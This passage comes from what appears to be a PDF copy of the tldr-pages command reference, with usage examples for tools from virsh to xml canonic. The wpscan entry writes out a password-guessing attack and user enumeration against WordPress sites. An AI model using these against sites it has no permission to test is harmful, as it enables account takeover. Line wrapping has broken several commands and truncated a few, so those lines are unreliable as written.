• Start the storage pool specified by name or UUID (determine using virsh pool-
list) and create the underlying storage system if it doesn't exist:

virsh pool-start --pool {{name|uuid}} --build


virsh pool-undefine
Delete the configuration file in /etc/libvirt/storage for a stopped virtual machine
storage pool.

See also: virsh, virsh-pool-destroy.

More information: https://manned.org/virsh.

• Delete the configuration for the storage pool specified name or UUID (determine
using virsh pool-list):

virsh pool-undefine --pool {{name|uuid}}


virsh-undefine
Delete a virtual machine.

More information: https://manned.org/virsh.

• Delete only the virtual machine configuration file:

virsh undefine --domain {{vm_name}}

• Delete the configuration file and all associated storage volumes:

virsh undefine --domain {{vm_name}} --remove-all-storage

• Delete the configuration file and the specified storage volumes using the target
name or the source name (as obtained from the virsh domblklist command):

virsh undefine --domain {{vm_name}} --storage {{sda,path/to/


source}}
virsh
Manage virsh guest domains. (NOTE: 'guest_id' can be the id, name or UUID of the
guest).

Some subcommands such as virsh list have their own usage documentation.

More information: https://libvirt.org/virshcmdref.html.

• Connect to a hypervisor session:

virsh connect {{qemu:///system}}

• List all domains:

virsh list --all

• Dump guest configuration file:

virsh dumpxml {{guest_id}} > {{path/to/guest.xml}}

• Create a guest from a configuration file:

virsh create {{path/to/config_file.xml}}

• Edit a guest's configuration file (editor can be changed with $EDITOR):

virsh edit {{guest_id}}

• Start/reboot/shutdown/suspend/resume a guest:

virsh {{command}} {{guest_id}}

• Save the current state of a guest to a file:

virsh save {{guest_id}} {{filename}}

• Delete a running guest:

virsh destroy {{guest_id}} && virsh undefine {{guest_id}}


virt-clone
Clone a libvirt virtual machine.

More information: https://manned.org/virt-clone.

• Clone a virtual machine and automatically generate a new name, storage path, and
MAC address:

virt-clone --original {{vm_name}} --auto-clone

• Clone a virtual machine and specify the new name, storage path, and MAC
address:

virt-clone --original {{vm_name}} --name {{new_vm_name}} --


file {{path/to/new_storage}} --mac {{ff:ff:ff:ff:ff:ff|
RANDOM}}
virt-install
Create virtual machines with libvirt and begin OS installation.

More information: https://virt-manager.org/.

• Create a virtual machine with 1 GB RAM and 12 GB storage and start a Debian
installation:

virt-install --name {{vm_name}} --memory {{1024}} --disk


path={{path/to/image.qcow2}},size={{12}} --cdrom {{path/to/
debian.iso}}

• Create a x86-64, KVM-accelerated, UEFI-based virtual machine with the Q35


chipset, 4 GiB RAM, 16 GiB RAW storage, and start a Fedora installation:

virt-install --name {{vm_name}} --arch {{x86_64}} --virt-type


{{kvm}} --machine {{q35}} --boot {{uefi}} --memory {{4096}}
--disk path={{path/to/image.raw}},size={{16}} --cdrom {{path/
to/fedora.iso}}

• Create a diskless live virtual machine without an emulated sound device or a USB
controller. Don't start an installation and don't autoconnect to console but attach
a cdrom to it (might be useful for when using a live CD like tails):

virt-install --name {{vm_name}} --memory {{512}} --disk


{{none}} --controller {{type=usb,model=none}} --sound
{{none}} --autoconsole {{none}} --install {{no_install=yes}}
--cdrom {{path/to/tails.iso}}

• Create a virtual machine with with 16 GiB RAM, 250 GiB storage, 8 cores with
hyperthreading, a specific CPU topology, and a CPU model that shares most
features with the host CPU:

virt-install --name {{vm_name}} --cpu {{host-


model}},topology.sockets={{1}},topology.cores={{4}},topology.threads={
--memory {{16384}} --disk path={{path/to/
image.qcow2}},size={{250}} --cdrom {{path/to/debian.iso}}

• Create a virtual machine and kickstart an automated deployment based on Fedora


35 using only remote resources (no ISO required):

virt-install --name {{vm_name}} --memory {{2048}} --disk


path={{path/to/image.qcow2}},size={{20}} --
location={{https://download.fedoraproject.org/pub/fedora/
linux/releases/35/Everything/x86_64/os/}} --extra-
args={{"inst.ks=https://path/to/valid/kickstart.org"}}
virt-sparsify
Make virtual machine drive images thin-provisioned.

NOTE: Use only for offline machines to avoid data corruption.

Home page: https://libguestfs.org/.

• Create a sparsified compressed image without snapshots from an unsparsified one:

virt-sparsify --compress {{path/to/image.qcow2}} {{path/to/


image_new.qcow2}}

• Sparsify an image in-place:

virt-sparsify --in-place {{path/to/image.img}}


virt-sysprep
Reset, unconfigure, or customize a virtual machine image.

More information: https://manned.org/virt-sysprep.

• List all supported operations (enabled operations are indicated with asterisks):

virt-sysprep --list-operations

• Run all enabled operations but don't actually apply the changes:

virt-sysprep --domain {{vm_name}} --dry-run

• Run only the specified operations:

virt-sysprep --domain {{vm_name}} --operations


{{operation1,operation2,...}}

• Generate a new /etc/machine-id file and enable customizations to be able to


change the host name to avoid network conflicts:

virt-sysprep --domain {{vm_name}} --enable {{customizations}}


--hostname {{host_name}} --operation {{machine-id}}
virtualenv
Create virtual isolated Python environments.

More information: https://virtualenv.pypa.io/.

• Create a new environment:

virtualenv {{path/to/venv}}

• Customize the prompt prefix:

virtualenv --prompt={{prompt_prefix}} {{path/to/venv}}

• Use a different version of Python with virtualenv:

virtualenv --python={{path/to/pythonbin}} {{path/to/venv}}

• Start (select) the environment:

source {{path/to/venv}}/bin/activate

• Stop the environment:

deactivate
virtualenvwrapper
Group of simple wrapper commands for Python's virtualenv tool.

More information: http://virtualenvwrapper.readthedocs.org.

• Create a new Python virtualenv in $WORKON_HOME:

mkvirtualenv {{virtualenv_name}}

• Create a virtualenv for a specific Python version:

mkvirtualenv --python {{/usr/local/bin/python3.8}}


{{virtualenv_name}}

• Activate or use a different virtualenv:

workon {{virtualenv_name}}

• Stop the virtualenv:

deactivate

• List all virtual environments:

lsvirtualenv

• Remove a virtualenv:

rmvirtualenv {{virtualenv_name}}

• Get summary of all virtualenvwrapper commands:

virtualenvwrapper
visudo
Safely edit the sudoers file.

More information: https://www.sudo.ws/man/1.8.13/visudo.man.html.

• Edit the sudoers file:

sudo visudo

• Check the sudoers file for errors:

sudo visudo -c

• Display version information:

visudo --version
viu
A small command-line application to view images from the terminal.

More information: https://github.com/atanunq/viu.

• Render an image or animated GIF:

viu {{path/to/file}}

• Render an image or GIF from the internet using curl:

curl -s {{https://example.com/image.png}} | viu -

• Render an image with a transparent background:

viu -t {{path/to/file}}

• Render an image with a specific width and height in pixels:

viu -w {{width}} -h {{height}} {{path/to/file}}

• Render an image or GIF and display its file name:

viu -n {{path/to/file}}
vladimyr
Dario Vladović's personal CLI.

More information: https://github.com/vladimyr/vladimyr-cli.

• Start Dario's interactive CLI:

vladimyr
vlc
Cross-platform multimedia player.

More information: https://wiki.videolan.org/Documentation:Command_line/.

• Play a file:

vlc {{path/to/file}}

• Play in fullscreen:

vlc --fullscreen {{path/to/file}}

• Play muted:

vlc --no-audio {{path/to/file}}

• Play repeatedly:

vlc --loop {{path/to/file}}

• Play video from a URL:

vlc {{https://www.youtube.com/watch?v=oHg5SJYRHA0}}
volta
A JavaScript Tool Manager that installs Node.js runtimes, npm and Yarn package
managers, or any binaries from npm.

More information: https://volta.sh.

• List all installed tools:

volta list

• Install the latest version of a tool:

volta install {{node|npm|yarn|package_name}}

• Install a specific version of a tool:

volta install {{node|npm|yarn}}@version

• Choose a tool version for a project (will store it in package.json):

volta pin {{node|npm|yarn}}@version

• Display help:

volta help

• Display help for a subcommand:

volta help {{fetch|install|uninstall|pin|list|completions|


which|setup|run|help}}
vsce
Extension manager for Visual Studio Code.

More information: https://github.com/microsoft/vscode-vsce.

• List all the extensions created by a publisher:

vsce list {{publisher}}

• Publish an extension as major, minor or patch version:

vsce publish {{major|minor|patch}}

• Unpublish an extension:

vsce unpublish {{extension_id}}

• Package the current working directory as a .vsix file:

vsce package

• Show the metadata associated with an extension:

vsce show {{extension_id}}


vue build
A subcommand provided by @vue/cli and @vue/cli-service-global that enables
quick prototyping.

More information: https://cli.vuejs.org/guide/prototyping.html.

• Build a .js or .vue file in production mode with zero config:

vue build {{filename}}


vue init
Legacy project initialization subcommand of the Vue.js framework.

More information: https://cli.vuejs.org/guide/creating-a-project.html#pulling-2-x-


templates-legacy.

• Create a new project using one of the default templates:

vue init {{webpack|webpack-simple|browserify|browserify-


simple|simple}} {{project_name}}

• Create a new project using a local template:

vue init {{path/to/template_directory}} {{project_name}}

• Create a new project using a template from GitHub:

vue init {{username}}/{{repo}} {{project_name}}


vue serve
A subcommand provided by @vue/cli and @vue/cli-service-global that enables
quick prototyping.

More information: https://cli.vuejs.org/guide/prototyping.html.

• Serve a .js or .vue file in development mode with zero config:

vue serve {{filename}}


vue
Multi-purpose CLI for Vue.js.

Some subcommands such as vue build have their own usage documentation.

More information: https://cli.vuejs.org.

• Create a new Vue project interactively:

vue create {{project_name}}

• Create a new project with web UI:

vue ui
vzdump
Backup Utility for virtual machines and containers.

More information: https://pve.proxmox.com/pve-docs/vzdump.1.html.

• Dump a guest virtual machine into the default dump directory (usually /var/
lib/vz/dump/), excluding snapshots:

vzdump {{vm_id}}

• Back up the guest virtual machines with the IDs 101, 102, and 103:

vzdump {{101 102 103}}

• Dump a guest virtual machine using a specific mode:

vzdump {{vm_id}} --mode {{suspend|snapshot}}

• Back up all guest systems and send an notification email to the root and admin
users:

vzdump --all --mode {{suspend}} --mailto {{root}} --mailto


{{admin}}

• Use snapshot mode (no downtime required) and a non-default dump directory:

vzdump {{vm_id}} --dumpdir {{path/to/directory}} --mode


{{snapshot}}

• Back up all guest virtual machines excluding the IDs 101 and 102:

vzdump --mode {{suspend}} --exclude {{101, 102}}


w
Show who is logged on and what they are doing.

Print user login, TTY, remote host, login time, idle time, current process.

More information: https://manned.org/w.

• Show logged-in users info:

• Show logged-in users info without a header:

w -h
w3m
A text-based web browser.

Supports SSL and mouse input, even over SSH.

More information: http://w3m.sourceforge.net.

• Open a URL:

w3m {{http://example.com}}

• Open a URL in monochrome mode:

w3m {{http://example.com}} -M

• Open a URL without mouse support:

w3m {{http://example.com}} --no-mouse

• Open a new browser tab:

Shift + T

• Display your browser history:

Ctrl + H

• Quit w3m:

'q' then 'y'


wait
Wait for a process to complete before proceeding.

• Wait for a process to finish given its process ID (PID) and return its exit status:

wait {{pid}}

• Wait for all processes known to the invoking shell to finish:

wait
waitress-serve
Pure Python WSGI HTTP Server.

• Run a Python web app:

waitress-serve {{import.path:wsgi_func}}

• Listen on port 8080 on localhost:

waitress-serve --listen={{localhost}}:{{8080}}
{{import.path:wsgi_func}}

• Start waitress on a Unix socket:

waitress-serve --unix-socket={{path/to/socket}}
{{import.path:wsgi_func}}

• Use 4 threads to process requests:

waitress-serve --threads={{4}} {{import.path:wsgifunc}}

• Call a factory method that returns a WSGI object:

waitress-serve --call {{import.path.wsgi_factory}}

• Set the URL scheme to HTTPS:

waitress-serve --url-scheme={{https}}
{{import.path:wsgi_func}}
wal
A tool to create color schemes based on the dominant colors of a wallpaper.

More information: https://github.com/dylanaraps/pywal.

• Preview color scheme:

wal --preview {{image.png}}

• Create color scheme:

wal -i {{image.png}}

• Create a light color scheme:

wal -il {{image.png}}

• Skip setting the desktop wallpaper:

wal -in {{image.png}}

• Skip setting the terminal colors:

wal -is {{image.png}}

• Restore the previously generated color scheme and wallpaper:

wal -R
wapm
The WebAssembly package manager.

More information: https://wapm.io/help/reference.

• Interactively create a new wapm.toml file:

wapm init

• Download all the packages listed as dependencies in wapm.toml:

wapm install

• Download a specific version of a package and add it to the list of dependencies in


wapm.toml:

wapm install {{package_name}}@{{version}}

• Download a package and install it globally:

wapm install --global {{package_name}}

• Uninstall a package and remove it from the list of dependencies in wapm.toml:

wapm uninstall {{package_name}}

• Print a tree of locally installed dependencies:

wapm list

• List top-level globally installed packages:

wapm list --global

• Execute a package command using the Wasmer runtime:

wapm run {{command_name}} {{arguments}}


warp-cli
Official command-line client for Cloudflare's WARP service.

More information: https://developers.cloudflare.com/warp-client/.

• Register the current device to WARP (must be run before first connection):

warp-cli register

• Connect to WARP:

warp-cli connect

• Disconnect from WARP:

warp-cli disconnect

• Display the WARP connection status:

warp-cli status

• Display help:

warp-cli help

• Display help for a subcommand:

warp-cli help {{subcommand}}


warp-diag
Diagnostic and feedback tool for Cloudflare's WARP service.

See also: warp-cli.

More information: https://developers.cloudflare.com/warp-client/.

• Generate a zip file with information about the system configuration and the WARP
connection:

warp-diag

• Generate a zip file with debug information including a timestamp to the output
filename:

warp-diag --add-ts

• Save the output file under a specific directory:

warp-diag --output {{path/to/directory}}

• Submit a new feedback to Cloudflare's WARP interactively:

warp-diag feedback
wasm-objdump
Display information from WebAssembly binaries.

More information: https://github.com/WebAssembly/wabt.

• Display the section headers of a given binary:

wasm-objdump -h {{file.wasm}}

• Display the entire disassembled output of a given binary:

wasm-objdump -d {{file.wasm}}

• Display the details of each section:

wasm-objdump --details {{file.wasm}}

• Display the details of a given section:

wasm-objdump --section '{{import}}' --details {{file.wasm}}


wasm-opt
Optimize WebAssembly binary files.

More information: https://github.com/webassembly/binaryen.

• Apply default optimizations and write to a given file:

wasm-opt -O {{input.wasm}} -o {{output.wasm}}

• Apply all optimizations and write to a given file (takes more time, but generates
optimal code):

wasm-opt -O4 {{input.wasm}} -o {{output.wasm}}

• Optimize a file for size:

wasm-opt -Oz {{input.wasm}} -o {{output.wasm}}

• Print the textual representation of the binary to console:

wasm-opt {{input.wasm}} --print


wasm2c
Convert a file from the WebAssembly binary format to a C source file and header.

More information: https://github.com/WebAssembly/wabt.

• Convert a file to a C source file and header and display it to the console:

wasm2c {{file.wasm}}

• Write the output to a given file (file.h gets additionally generated):

wasm2c {{file.wasm}} -o {{file.c}}


wasm2wat
Convert a file from the WebAssembly binary format to the text format.

More information: https://github.com/WebAssembly/wabt.

• Convert a file to the text format and display it to the console:

wasm2wat {{file.wasm}}

• Write the output to a given file:

wasm2wat {{file.wasm}} -o {{file.wat}}


wat2wasm
Convert a file from the WebAssembly text format to the binary format.

More information: https://github.com/WebAssembly/wabt.

• Parse and check a file for errors:

wat2wasm {{file.wat}}

• Write the output binary to a given file:

wat2wasm {{file.wat}} -o {{file.wasm}}

• Display simplified representation of every byte:

wat2wasm -v {{file.wat}}
watch
Execute a program periodically, showing output fullscreen.

More information: https://manned.org/watch.

• Repeatedly run a command and show the result:

watch {{command}}

• Re-run a command every 60 seconds:

watch -n {{60}} {{command}}

• Monitor the contents of a directory, highlighting differences as they appear:

watch -d {{ls -l}}


watchexec
Run arbitrary commands when files change.

More information: https://github.com/watchexec/watchexec.

• Call ls -la when any file in the current directory changes:

watchexec -- {{ls -la}}

• Run make when any JavaScript, CSS and HTML files in the current directory
change:

watchexec --exts {{js,css,html}} make

• Run make when any file in the lib or src subdirectories change:

watchexec --watch {{lib}} --watch {{src}} {{make}}

• Call/restart my_server when any file in the current directory change, sending
SIGKILL to stop the child process:

watchexec --restart --signal {{SIGKILL}} {{my_server}}


watson
A wonderful CLI to track your time.

More information: https://github.com/TailorDev/Watson.

• Start monitoring time in project:

watson start {{project}}

• Start monitoring time in project with tags:

watson start {{project}} +{{tag}}

• Stop monitoring time for the current project:

watson stop

• Display the latest working sessions:

watson log

• Edit most recent frame:

watson edit

• Remove most recent frame:

watson remove
wc
Count lines, words, and bytes.

More information: https://www.gnu.org/software/coreutils/wc.

• Count all lines in a file:

wc --lines {{path/to/file}}

• Count all words in a file:

wc --words {{path/to/file}}

• Count all bytes in a file:

wc --bytes {{path/to/file}}

• Count all characters in a file (taking multi-byte characters into account):

wc --chars {{path/to/file}}

• Count all lines, words and bytes from stdin:

{{find .}} | wc

• Count the length of the longest line in number of characters:

wc --max-line-length {{path/to/file}}
weasyprint
Render HTML to PDF or PNG.

More information: https://weasyprint.org/.

• Render an HTML file to PDF:

weasyprint {{path/to/input.html}} {{path/to/output}}.pdf

• Render an HTML file to PNG, including an additional user stylesheet:

weasyprint {{path/to/input.html}} {{path/to/output}}.png --


stylesheet {{path/to/stylesheet.css}}

• Output additional debugging information when rendering:

weasyprint {{path/to/input.html}} {{path/to/output}}.pdf --


verbose

• Specify a custom resolution when outputting to PNG:

weasyprint {{path/to/input.html}} {{path/to/output}}.png --


resolution {{300}}

• Specify a base URL for relative URLs in the input HTML file:

weasyprint {{path/to/input.html}} {{path/to/output}}.png --


base-url {{url_or_filename}}
web-ext
A command-line tool for managing web extension development.

More information: https://www.npmjs.com/package/web-ext.

• Run the web extension in the current directory in Firefox:

web-ext run

• Run a web extension from a specific directory in Firefox:

web-ext run --source-dir {{path/to/directory}}

• Display verbose execution output:

web-ext run --verbose

• Run a web extension in Firefox Android:

web-ext run --target firefox-android

• Lint the manifest and source files for errors:

web-ext lint

• Build and package the extension:

web-ext build

• Display verbose build output:

web-ext build --verbose

• Sign a package for self-hosting:

web-ext sign --api-key {{api_key}} --api-secret


{{api_secret}}
webpack
Bundle a web project's js files and other assets into a single output file.

More information: https://webpack.js.org.

• Create a single output file from an entry point file:

webpack {{app.js}} {{bundle.js}}

• Load CSS files too from the JavaScript file (this uses the CSS loader for .css files):

webpack {{app.js}} {{bundle.js}} --module-bind '{{css=css}}'

• Pass a config file (with e.g. the entry script and the output filename) and show
compilation progress:

webpack --config {{webpack.config.js}} --progress

• Automatically recompile on changes to project files:

webpack --watch {{app.js}} {{bundle.js}}


webtorrent
The command-line interface for WebTorrent.

Supports magnets, URLs, info hashes and .torrent files.

More information: https://github.com/webtorrent/webtorrent-cli.

• Download a torrent:

webtorrent download "{{torrent_id}}"

• Stream a torrent to VLC media player:

webtorrent download "{{torrent_id}}" --vlc

• Stream a torrent to a Digital Living Network Alliance (DLNA) device:

webtorrent download "{{torrent_id}}" --dlna

• Display a list of files for a specific torrent:

webtorrent download "{{torrent_id}}" --select

• Specify a file index from the torrent to download:

webtorrent download "{{torrent_id}}" --select {{index}}

• Seed a specific file or directory:

webtorrent seed {{path/to/file_or_directory}}

• Create a new torrent file for the specified file path:

webtorrent create {{path/to/file}}

• Display information for a magnet URI or .torrent file:

webtorrent info {{path/to/file_or_magnet}}


wget
Download files from the Web.

Supports HTTP, HTTPS, and FTP.

More information: https://www.gnu.org/software/wget.

• Download the contents of a URL to a file (named "foo" in this case):

wget {{https://example.com/foo}}

• Download the contents of a URL to a file (named "bar" in this case):

wget --output-document {{bar}} {{https://example.com/foo}}

• Download a single web page and all its resources with 3-second intervals between
requests (scripts, stylesheets, images, etc.):

wget --page-requisites --convert-links --wait=3 {{https://


example.com/somepage.html}}

• Download all listed files within a directory and its sub-directories (does not
download embedded page elements):

wget --mirror --no-parent {{https://example.com/somepath/}}

• Limit the download speed and the number of connection retries:

wget --limit-rate={{300k}} --tries={{100}} {{https://


example.com/somepath/}}

• Download a file from an HTTP server using Basic Auth (also works for FTP):

wget --user={{username}} --password={{password}} {{https://


example.com}}

• Continue an incomplete download:

wget --continue {{https://example.com}}

• Download all URLs stored in a text file to a specific directory:

wget --directory-prefix {{path/to/directory}} --input-file


{{URLs.txt}}
where
Reports all known instances of a command.

It could be an executable in the PATH environment variable, an alias, or a shell builtin.

• Find all instances of a command:

where {{command}}
whereis
Locate the binary, source, and manual page files for a command.

More information: https://manned.org/whereis.

• Locate binary, source and man pages for ssh:

whereis {{ssh}}

• Locate binary and man pages for ls:

whereis -bm {{ls}}

• Locate source of gcc and man pages for Git:

whereis -s {{gcc}} -m {{git}}

• Locate binaries for gcc in /usr/bin/ only:

whereis -b -B {{/usr/bin/}} -f {{gcc}}

• Locate unusual binaries (those that have more or less than one binary on the
system):

whereis -u *

• Locate binaries that have unusual manual entries (binaries that have more or less
than one manual installed):

whereis -u -m *
which
Locate a program in the user's path.

More information: https://manned.org/which.

• Search the PATH environment variable and display the location of any matching
executables:

which {{executable}}

• If there are multiple executables which match, display all:

which -a {{executable}}
while
Simple shell loop.

• Read stdin and perform an action on every line:

while read line; do echo "$line"; done

• Execute a command forever once every second:

while :; do {{command}}; sleep 1; done


who
Display who is logged in and related data (processes, boot time).

More information: https://www.gnu.org/software/coreutils/who.

• Display the username, line, and time of all currently logged-in sessions:

who

• Display information only for the current terminal session:

who am i

• Display all available information:

who -a

• Display all available information with table headers:

who -a -H
whoami
Print the username associated with the current effective user ID.

More information: https://www.gnu.org/software/coreutils/whoami.

• Display currently logged username:

whoami

• Display the username after a change in the user ID:

sudo whoami
whois
Command-line client for the WHOIS (RFC 3912) protocol.

More information: https://github.com/rfc1036/whois.

• Get information about a domain name:

whois {{example.com}}

• Get information about an IP address:

whois {{8.8.8.8}}

• Get abuse contact for an IP address:

whois -b {{8.8.8.8}}
wordgrinder
Command-line word processor.

More information: https://cowlark.com/wordgrinder.

• Start wordgrinder (loads a blank document by default):

wordgrinder

• Open a given file:

wordgrinder {{filename}}

• Show the menu:

Alt + M
wormhole
Get things from one computer to another, safely.

More information: https://magic-wormhole.readthedocs.io.

• Send a file:

wormhole send {{path/to/file}}

• Receive a file:

wormhole receive {{wormhole_code}}

• Send raw text:

wormhole send
wp
The official command-line interface to manage WordPress instances.

More information: https://wp-cli.org/.

• Print information about the operating system, shell, PHP, and WP-CLI (wp)
installation:

wp --info

• Update WP-CLI:

wp cli update

• Download a fresh WordPress installation to current directory, optionally


specifying the locale:

wp core download --locale={{locale}}

• Create basic wpconfig file (assuming database on localhost):

wp config create --dbname={{dbname}} --dbuser={{dbuser}} --


dbpass={{dbpass}}

• Install and activate a WordPress plugin:

wp plugin install {{plugin}} --activate

• Replace all instances of a string in the database:

wp search-replace {{old_string}} {{new_string}}

• Import the contents of a WordPress Extended RSS (WXR) file:

wp import {{path/to/file.xml}}
wpa_supplicant
Manage protected wireless networks.

More information: https://manned.org/wpa_supplicant.1.

• Join a protected wireless network:

wpa_supplicant -i {{interface}} -c {{path/to/


wpa_supplicant_conf.conf}}

• Join a protected wireless network and run it in a daemon:

wpa_supplicant -B -i {{interface}} -c {{path/to/


wpa_supplicant_conf.conf}}
wpscan
WordPress vulnerability scanner.

More information: https://github.com/wpscanteam/wpscan.

• Update the vulnerability database:

wpscan --update

• Scan a WordPress website:

wpscan --url {{url}}

• Scan a WordPress website, using random user agents and passive detection:

wpscan --url {{url}} --stealthy

• Scan a WordPress website, checking for vulnerable plugins and specifying the path
to the wp-content directory:

wpscan --url {{url}} --enumerate {{vp}} --wp-content-dir


{{remote/path/to/wp-content}}

• Scan a WordPress website through a proxy:

wpscan --url {{url}} --proxy {{protocol://ip:port}} --proxy-


auth {{username:password}}

• Perform user identifiers enumeration on a WordPress website:

wpscan --url {{url}} --enumerate {{u}}

• Execute a password guessing attack on a WordPress website:

wpscan --url {{url}} --usernames {{username|path/to/


usernames.txt}} --passwords {{path/to/passwords.txt}} threads
{{20}}

• Scan a WordPress website, collecting vulnerability data from the WPVulnDB


(https://wpvulndb.com/):

wpscan --url {{url}} --api-token {{token}}


wrangler
Cloudflare Workers command-line tool.

More information: https://developers.cloudflare.com/workers/.

• Initialize a project with a skeleton configuration:

wrangler init {{project_name}}

• Authenticate with Cloudflare:

wrangler login

• Start a local development server:

wrangler dev --host {{hostname}}

• Publish the worker script:

wrangler publish

• Aggregate logs from the production worker:

wrangler tail
write
Write a message on the terminal of a specified logged in user (ctrl-C to stop writing
messages).

Use the who command to find out all terminal_ids of all active users active on the
system. See also mesg.

• Send a message to a given user on a given terminal id:

write {{username}} {{terminal_id}}

• Send message to "testuser" on terminal /dev/tty/5:

write {{testuser}} {{tty/5}}

• Send message to "johndoe" on pseudo terminal /dev/pts/5:

write {{johndoe}} {{pts/5}}


wrk
HTTP benchmarking tool.

More information: https://github.com/wg/wrk.

• Run a benchmark for 30 seconds, using 12 threads, and keeping 400 HTTP
connections open:

wrk -t{{12}} -c{{400}} -d{{30s}} "{{http://127.0.0.1:8080/


index.html}}"

• Run a benchmark with a custom header:

wrk -t{{2}} -c{{5}} -d{{5s}} -H "{{Host:


example.com}}" "{{http://example.com/index.html}}"

• Run a benchmark with a request timeout of 2 seconds:

wrk -t{{2}} -c{{5}} -d{{5s}} --timeout {{2s}} "{{http://


example.com/index.html}}"
wuzz
Tool to interactively inspect HTTP requests and responses.

More information: https://github.com/asciimoo/wuzz.

• Start wuzz:

wuzz

• Display help information:

F1

• Send an HTTP request:

Ctrl + R

• Switch to the next view:

Ctrl + J, Tab

• Switch to the previous view:

Ctrl + K, Shift + Tab


x11docker
Securely run GUI applications and desktop UIs in Docker containers.

See also xephyr.

More information: https://github.com/mviereck/x11docker.

• Launch VLC in a container:

x11docker --pulseaudio --share={{$HOME/Videos}} {{jess/vlc}}

• Launch Xfce in a window:

x11docker --desktop {{x11docker/xfce}}

• Launch GNOME in a window:

x11docker --desktop --gpu --init={{systemd}} {{x11docker/


gnome}}

• Launch KDE Plasma in a window:

x11docker --desktop --gpu --init={{systemd}} {{x11docker/kde-


plasma}}

• Display help:

x11docker --help
x_x
View Excel and CSV files from the command-line.

More information: https://github.com/kristianperkins/x_x.

• View an XLSX or CSV file:

x_x {{file.xlsx|file.csv}}

• View an XLSX or CSV file, using the first row as table headers:

x_x -h {{0}} {{file.xlsx|file.csv}}

• View a CSV file with unconventional delimiters:

x_x --delimiter={{';'}} --quotechar={{'|'}} {{file.csv}}


xar
Manage .xar archives.

More information: https://manned.org/xar.

• Create a xar archive of all files in a given directory:

xar -cf {{archive.xar}} {{path/to/directory}}

• List the contents of a given xar archive:

xar -tf {{archive.xar}}

• Extract the contents of a given xar archive to the current directory:

xar -xf {{archive.xar}}


xargs
Execute a command with piped arguments coming from another command, a file, etc.

The input is treated as a single block of text and split into separate pieces on spaces,
tabs, newlines and end-of-file.

More information: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/


xargs.html.

• Run a command using the input data as arguments:

{{arguments_source}} | xargs {{command}}

• Run multiple chained commands on the input data:

{{arguments_source}} | xargs sh -c "{{command1}} &&


{{command2}} | {{command3}}"

• Delete all files with a .backup extension (-print0 uses a null character to split
file names, and -0 uses it as delimiter):

find . -name {{'*.backup'}} -print0 | xargs -0 rm -v

• Execute the command once for each input line, replacing any occurrences of the
placeholder (here marked as _) with the input line:

{{arguments_source}} | xargs -I _ {{command}} _


{{optional_extra_arguments}}

• Parallel runs of up to max-procs processes at a time; the default is 1. If max-


procs is 0, xargs will run as many processes as possible at a time:

{{arguments_source}} | xargs -P {{max-procs}} {{command}}


xcaddy
The custom build tool for the Caddy Web Server.

More information: https://github.com/caddyserver/xcaddy.

• Build Caddy server from source:

xcaddy build

• Build Caddy server with a specific version (defaults to latest):

xcaddy build {{version}}

• Build Caddy with a specific module:

xcaddy build --with {{module_name}}

• Build Caddy and output to a specific file:

xcaddy build --output {{path/to/file}}

• Build and run Caddy for a development plugin in the current directory:

xcaddy run

• Build and run Caddy for a development plugin using a specific Caddy config:

xcaddy run --config {{path/to/file}}


xcv
Cut, copy, and paste in the command-line.

More information: https://github.com/busterc/xcv.

• Cut a file:

xcv x {{input_file}}

• Copy a file:

xcv c {{input_file}}

• Paste a file:

xcv v {{output_file}}

• List files available for pasting:

xcv l
xdelta
Delta encoding utility.

Often used for applying patches to binary files.

More information: http://xdelta.org.

• Apply a patch:

xdelta -d -s {{path/to/input_file}} {{path/to/


delta_file.xdelta}} {{path/to/output_file}}

• Create a patch:

xdelta -e -s {{path/to/old_file}} {{path/to/new_file}}


{{path/to/output_file.xdelta}}
Xephyr
A nested X server that runs as an X application.

More information: https://manned.org/xserver-xephyr.

• Create a black window with display ID ":2":

Xephyr -br -ac -noreset -screen {{800x600}} {{:2}}

• Start an X application on the new screen:

DISPLAY=:2 {{command_name}}
xetex
Compile a PDF document from XeTeX source files.

More information: https://www.tug.org/xetex/.

• Compile a PDF document:

xetex {{source.tex}}

• Compile a PDF document, specifying an output directory:

xetex -output-directory={{path/to/directory}} {{source.tex}}

• Compile a PDF document, exiting if errors occur:

xetex -halt-on-error {{source.tex}}


xev
Print contents of X events.

More information: https://gitlab.freedesktop.org/xorg/app/xev.

• Monitor all occuring X events:

xev

• Monitor all X events of the root window instead of creating a new one:

xev -root

• Monitor all X events of a particular window:

xev -id {{window_id}}

• Monitor X events from a given category (can be specified multiple times):

xev -event {{event_category}}


xgettext
Extract gettext strings from code files.

More information: https://www.gnu.org/software/gettext/manual/html_node/xgettext-


Invocation.html.

• Scan file and output strings to messages.po:

xgettext {{path/to/input_file}}

• Use a different output filename:

xgettext --output {{path/to/output_file}} {{path/to/


input_file}}

• Append new strings to an existing file:

xgettext --join-existing --output {{path/to/output_file}}


{{path/to/input_file}}

• Don't add a header containing metadata to the output file:

xgettext --omit-header {{path/to/input_file}}


xh
Friendly and fast tool for sending HTTP requests.

More information: https://github.com/ducaale/xh.

• Send a GET request:

xh {{httpbin.org/get}}

• Send a POST request with a JSON body (key-value pairs are added to a top-level
JSON object - e.g. {"name": "john", "age": 25}):

xh post {{httpbin.org/post}} {{name=john}} {{age:=25}}

• Send a GET request with query parameters (e.g.


first_param=5&second_param=true):

xh get {{httpbin.org/get}} {{first_param==5}}


{{second_param==true}}

• Send a GET request with a custom header:

xh get {{httpbin.org/get}} {{header-name:header-value}}

• Make a GET request and save the response body to a file:

xh --download {{httpbin.org/json}} --output {{path/to/file}}


xkcdpass
A flexible and scriptable password generator which generates strong passphrases.

Inspired by XKCD 936.

More information: https://github.com/redacted/XKCD-password-generator.

• Generate one passphrase with the default options:

xkcdpass

• Generate one passphrase whose first letters of each word match the provided
argument:

xkcdpass -a {{acrostic}}

• Generate passwords interactively:

xkcdpass -i
xkill
Kill a window interactively in a graphical session.

See also kill and killall.

More information: https://www.x.org/releases/current/doc/man/man1/xkill.1.xhtml.

• Display a cursor to kill a window when pressing the left mouse button (press any
other mouse button to cancel):

xkill

• Display a cursor to select a window to kill by pressing any mouse button:

xkill -button any


xml canonic
Make XML documents canonical.

More information: http://xmlstar.sourceforge.net/docs.php.

• Make an XML document canonical, preserving comments:

xml canonic {{path/to/input.xml|URI}} > {{path/to/


output.xml}}

• Make an XML document canonical, removing comments:

xml canonic --without-comments {{path/to/input.xml|URI}} >


{{path/to/output.xml}}

• Make XML exclusively canonical, using an XPATH from a file, preserving


comments:

xml canonic --exc-with-comments {{path/to/input.xml|URI}}


{{path/to/c14n.xpath}}

• Display help for the canonic subcommand:

xml canonic --help


xml depyx
